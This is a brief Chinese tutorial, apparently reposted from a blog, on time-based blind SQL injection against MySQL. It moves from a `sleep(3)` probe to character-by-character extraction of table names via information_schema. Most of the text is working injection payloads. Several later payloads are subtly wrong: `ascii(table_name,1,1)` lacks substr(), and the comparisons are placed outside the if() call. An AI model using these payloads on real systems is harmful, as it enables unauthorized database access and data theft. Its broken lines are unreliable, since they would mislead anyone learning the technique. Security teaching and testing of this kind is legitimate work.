时间盲注

时间盲注比布尔盲注难度稍高 ,关键在于不论你怎么输入就是不报错

 那么根据什么去判断注入呢  根据请求的时间  请求的时间延时了。

1.猜测参数的包裹情况

id=1这个1要么被'包裹 要么被"包裹  要么被)包裹

先去尝试id= 1’ or sleep(3) %23

如果这个时候直接服务器过了三秒才反应

那么就存在时间注入

2.添加if语句,控制if第一个参数

如果某一个条件正确就延迟三秒,如果错位就返回0 (也就是if第一个参数为1)                                                

id= 1’ or if(1,sleep(3),0) %23

 如果某一个条件为假就直接返回(也就是if第一个参数为0)      

3.控制参数详情

id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

为了先验证一下语句有没有错误  我们先table_name当作1

id= 1’ or if((select 1 from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

可以发现ok

然后用ascii()表示

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

接下来看这个数据库的i的一个表名的第一个字符 ascii是不是大于64

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) >64 %23

再看看是不是大于96,再看看是不是大于110(这个自己设定)

最终判断出是101那么就是

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) =101 %23

猜你喜欢

转载自www.cnblogs.com/cat47/p/12616552.html